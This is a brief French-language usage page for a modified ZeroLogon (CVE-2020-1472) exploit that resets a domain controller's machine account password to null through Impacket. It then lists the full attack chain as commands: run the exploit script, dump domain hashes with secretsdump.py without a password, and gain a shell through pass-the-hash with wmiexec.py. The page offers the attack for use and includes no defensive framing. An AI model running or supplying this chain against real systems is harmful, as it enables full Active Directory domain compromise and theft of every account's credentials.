ZeroLogon - Exploit et Exemple

Modifié le PoC de test de Secura, CVE-2020-1472, afin de modifier le mot de passe de la machine pour le mettre à null. Le changement de mot de passe sur la machine utilise la fonction NetrServerPasswordSet2() de Microsoft. Cet exploit tire parti du module nrpc.py d'Impacket pour appeler NetrServerPasswordSet2().

Exécuter l'exploit

./zerologon_NULLPASS.py <dc-name> <dc-ip>

Extraire les hashs

secretsdump.py -no-pass <dc-name>\$@<dc-ip>

Pass-The-Hash pour accès shell

wmiexec.py -hashes <LM:NT> <username>@<ip>